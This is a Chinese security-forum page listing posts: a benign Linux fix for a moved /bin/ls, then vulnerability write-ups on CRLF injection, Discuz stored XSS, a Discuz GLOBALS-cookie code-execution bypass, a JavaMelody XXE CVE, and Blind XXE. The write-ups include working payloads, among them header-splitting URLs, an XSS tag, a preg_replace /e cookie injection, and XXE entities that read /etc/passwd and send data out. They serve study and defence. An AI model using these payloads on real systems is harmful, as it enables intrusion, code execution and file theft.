Linux 下root家目录和/bin/下的执行程序更改出现问题解决

系统安全ttgo2 发表了文章 • 0 个评论 • 118 次浏览 • 2018-10-23 11:10 • 来自相关话题

 今天我们群里同学出现一个Linux操作后,系统无法正常使用的问题,具体问题的操作是这样的
 
1 、问题复现
step1:在root的用户下执行了如下两个命令:mv /bin/ls /root
mv /root /bin/lsstep2:接下来无法执行ls命令,显示如下:
[root@bogon Desktop]# ls
bash: ls: command not found
[root@bogon Desktop]#
step3:重启系统step4:分析一下,原因
mv /bin/ls  /root  这个命令,把ls命令移动到了root下
[root@bogon ~]# cd /root
[root@bogon ~]# pwd
/root
[root@bogon ~]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ~]#

mv /root /bin/ls  把/root/的文件移动到了 /bin/ls/命令下,这时候root改名为ls,如下:
[root@bogon ls]# pwd
/bin/ls
[root@bogon ls]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ls]#
2 、问题分析
两个问题需要考虑:
重启之后root是否可以正常登陆?普通账号是否收到影响?
root登陆正常,ls无法使用,因为ls命令的路径发生了变化,正常
bash-4.1# ls
bash: ls: command not found
bash-4.1#
普通账号也正常登陆
[yanw@localhost Desktop]$ ls
bash: ls: command not found
[yanw@localhost Desktop]$ 3 问题解决
step1:把/bin/ls/ls 文件拷贝到/root(不是没有root目录了吗?重启系统后root登陆,会根据/etc/passwd 文件里面的root的家目录在创建一个,不受影响)
step2:拷贝ls到家目录
bash-4.1# cp /bin/ls/ls ./
bash-4.1#
bash-4.1#
bash-4.1#
bash-4.1# ./ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#
step3:rm删除/bin/ls  复制ls到/bin下即可,全局使用正常
bash-4.1# rm -rf /bin/ls
bash-4.1#
bash-4.1#
bash-4.1# cp ls /bin/
bash-4.1# ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#




step4:修改一下提示符 ,修改全局变量PS1的值
 
PS1='[\u@\h \w]\$ ' 
 ----注意$后面有一个空格!如果没有空格的话,将会报错!

   \d :代表日期,格式为weekday month date,例如:"Mon Aug 1" 

\H :完整的主机名称。例如:我的机器名称为:fc4.linux,则这个名称就是fc4.linux 

\h :仅取主机的第一个名字,如上例,则为fc4,.linux则被省略 

\t :显示时间为24小时格式,如:HH:MM:SS 

\T :显示时间为12小时格式 

\A :显示时间为24小时格式:HH:MM 

\u :当前用户的账号名称 

\v :BASH的版本信息 

\w :完整的工作目录名称。家目录会以 ~代替 

\W :利用basename取得工作目录名称,所以只会列出最后一个目录 

\# :下达的第几个命令 

\$ :提示字符,如果是root时,提示符为:# ,普通用户则为:$
 
step5:为了长期生效我们修改一下 /etc/profile文件,在最后一行添加上    PS1='[\u@\h \w]\$ ' 文件解决
bash-4.1# source /etc/profile
[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]#

  查看全部
 今天我们群里同学出现一个Linux操作后,系统无法正常使用的问题,具体问题的操作是这样的
 
1 、问题复现
step1:在root的用户下执行了如下两个命令:
mv /bin/ls  /root
mv /root /bin/ls
step2:接下来无法执行ls命令,显示如下:
[root@bogon Desktop]# ls
bash: ls: command not found
[root@bogon Desktop]#

step3:重启系统step4:分析一下,原因
mv /bin/ls  /root  这个命令,把ls命令移动到了root下
[root@bogon ~]# cd /root
[root@bogon ~]# pwd
/root
[root@bogon ~]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ~]#

mv /root /bin/ls  把/root/的文件移动到了 /bin/ls/命令下,这时候root改名为ls,如下:
[root@bogon ls]# pwd
/bin/ls
[root@bogon ls]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ls]#
2 、问题分析
两个问题需要考虑:
  • 重启之后root是否可以正常登陆?
  • 普通账号是否收到影响?

root登陆正常,ls无法使用,因为ls命令的路径发生了变化,正常
bash-4.1# ls
bash: ls: command not found
bash-4.1#
普通账号也正常登陆
[yanw@localhost Desktop]$ ls
bash: ls: command not found
[yanw@localhost Desktop]$
3 问题解决
step1:把/bin/ls/ls 文件拷贝到/root(不是没有root目录了吗?重启系统后root登陆,会根据/etc/passwd 文件里面的root的家目录在创建一个,不受影响)
step2:拷贝ls到家目录
bash-4.1# cp /bin/ls/ls ./
bash-4.1#
bash-4.1#
bash-4.1#
bash-4.1# ./ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#
step3:rm删除/bin/ls  复制ls到/bin下即可,全局使用正常
bash-4.1# rm -rf /bin/ls
bash-4.1#
bash-4.1#
bash-4.1# cp ls /bin/
bash-4.1# ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#




step4:修改一下提示符 ,修改全局变量PS1的值
 
PS1='[\u@\h \w]\$ ' 
 ----注意$后面有一个空格!如果没有空格的话,将会报错!

   \d :代表日期,格式为weekday month date,例如:"Mon Aug 1" 

\H :完整的主机名称。例如:我的机器名称为:fc4.linux,则这个名称就是fc4.linux 

\h :仅取主机的第一个名字,如上例,则为fc4,.linux则被省略 

\t :显示时间为24小时格式,如:HH:MM:SS 

\T :显示时间为12小时格式 

\A :显示时间为24小时格式:HH:MM 

\u :当前用户的账号名称 

\v :BASH的版本信息 

\w :完整的工作目录名称。家目录会以 ~代替 

\W :利用basename取得工作目录名称,所以只会列出最后一个目录 

\# :下达的第几个命令 

\$ :提示字符,如果是root时,提示符为:# ,普通用户则为:$
 
step5:为了长期生效我们修改一下 /etc/profile文件,在最后一行添加上    PS1='[\u@\h \w]\$ ' 文件解决
bash-4.1# source /etc/profile
[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]#

 

什么是CRLF

回复

PHPttgo2 发起了问题 • 1 人关注 • 0 个回复 • 113 次浏览 • 2018-10-21 09:31 • 来自相关话题

CRLF注入漏洞讲解

Web安全渗透ttgo2 发表了文章 • 2 个评论 • 148 次浏览 • 2018-10-21 09:23 • 来自相关话题

CRLF Injection很少遇见,这次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
HRS是比XSS危害更大的安全问题,具体是为什么,我们往下看。
对于HRS最简单的利用方式是注入两个\r\n,之后在写入XSS代码,来构造一个xss。
2 举例说明
举个例子,一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]

但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里<img>这个标签就会显示出来,造成一个XSS。
为什么说是无视浏览器filter的,这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。
怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:





  查看全部
CRLF Injection很少遇见,这次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)还有一些同学对于这个漏洞不甚了解,甚至分不清它与CSRF,我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
HRS是比XSS危害更大的安全问题,具体是为什么,我们往下看。
对于HRS最简单的利用方式是注入两个\r\n,之后在写入XSS代码,来构造一个xss。
2 举例说明
举个例子,一般网站会在HTTP头中用
Location: 
http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]

但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

我们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:

<img src=1 onerror=alert(/xss/)>

之前说了浏览器会根据第一个CRLF把HTTP包分成头和体,然后将体显示出来。于是我们这里<img>这个标签就会显示出来,造成一个XSS。
为什么说是无视浏览器filter的,这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。
怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
所以说HRS的危害大于XSS,因为它能绕过一般XSS所绕不过的filter,并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

的时候,发现图片已经输出在页面中了,说明CRLF注入成功了:

4efd1404082196.jpg

 

Discuz! 帖子正文存在存储型xss漏洞

渗透测试zksmile 发表了文章 • 0 个评论 • 108 次浏览 • 2018-10-19 11:24 • 来自相关话题

0x01漏洞范围
 discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试
 
0x02漏洞详情
 需要开启多媒体代码功能(这个目前很多大站开启了)
source\function\function_discuzcode.phpif(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}跟踪parseflash函数:function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}可以看出preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);正则处理不当(\?.+)
从而可以带进“'”到 encodeURI(\''.$url.'\'),从而造成存储型xss
到 encodeURI(\''.$url.'\'),从而造成存储型xss。
 
0x03 漏洞证明:
 找一篇帖子回复:[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]7.x 截图如下:





 
x 3.1截图如下:





  查看全部
0x01漏洞范围
 
discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试

 
0x02漏洞详情
 需要开启多媒体代码功能(这个目前很多大站开启了)
source\function\function_discuzcode.php
if(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}
跟踪parseflash函数:
function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}
可以看出
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
正则处理不当
(\?.+)

从而可以带进“'”到 encodeURI(\''.$url.'\'),从而造成存储型xss
到 encodeURI(\''.$url.'\'),从而造成存储型xss。
 
0x03 漏洞证明:
 找一篇帖子回复:
[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]
7.x 截图如下:

1.png

 
x 3.1截图如下:

2.png

 

Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

渗透测试zksmile 发表了文章 • 0 个评论 • 123 次浏览 • 2018-10-18 16:15 • 来自相关话题

0x01 漏洞概述

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
 
0x02 漏洞分析
 
include/global.func.php代码里:function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
 
include/common.inc.php里:foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
 
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
 
0x03漏洞复现
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();




  查看全部
0x01 漏洞概述

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
 
0x02 漏洞分析
 
include/global.func.php代码里:
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}

 
include/common.inc.php里:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

 
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}

这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
 
0x03漏洞复现
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

1.png

 

JavaMelody组件XXE漏洞解析

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 45 次浏览 • 2018-10-14 18:29 • 来自相关话题

文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:





访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功





由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:





DTD文件构造如下:





 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:




通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:





在配置项中我们可以发现这个filter默认是处理所有请求:





因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:





然后来到了PayloadNameRequestWrapper-> initialize方法中




在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:





0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
  查看全部
文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:

20180921164234342.png

访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功

20180921164323297.png

由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:

20180921164329795.png

DTD文件构造如下:

20180921164334774.png

 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:
20180921164348851.png

通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:

20180921164354943.png

在配置项中我们可以发现这个filter默认是处理所有请求:

20180921164400415.png

因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:

20180921164409166.png

然后来到了PayloadNameRequestWrapper-> initialize方法中
20180921164414844.png

在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:
20180921164420245.png


0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
 

Blind XXE总结

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 59 次浏览 • 2018-10-14 18:14 • 来自相关话题

文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。















这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
!但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。





解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
  查看全部
文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>
2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

20150212232005377.png


20150212232029757.png


20150212232027529.png

这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

20150212232152362.png

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
 

Discuz! SSRF无须登陆无须条件

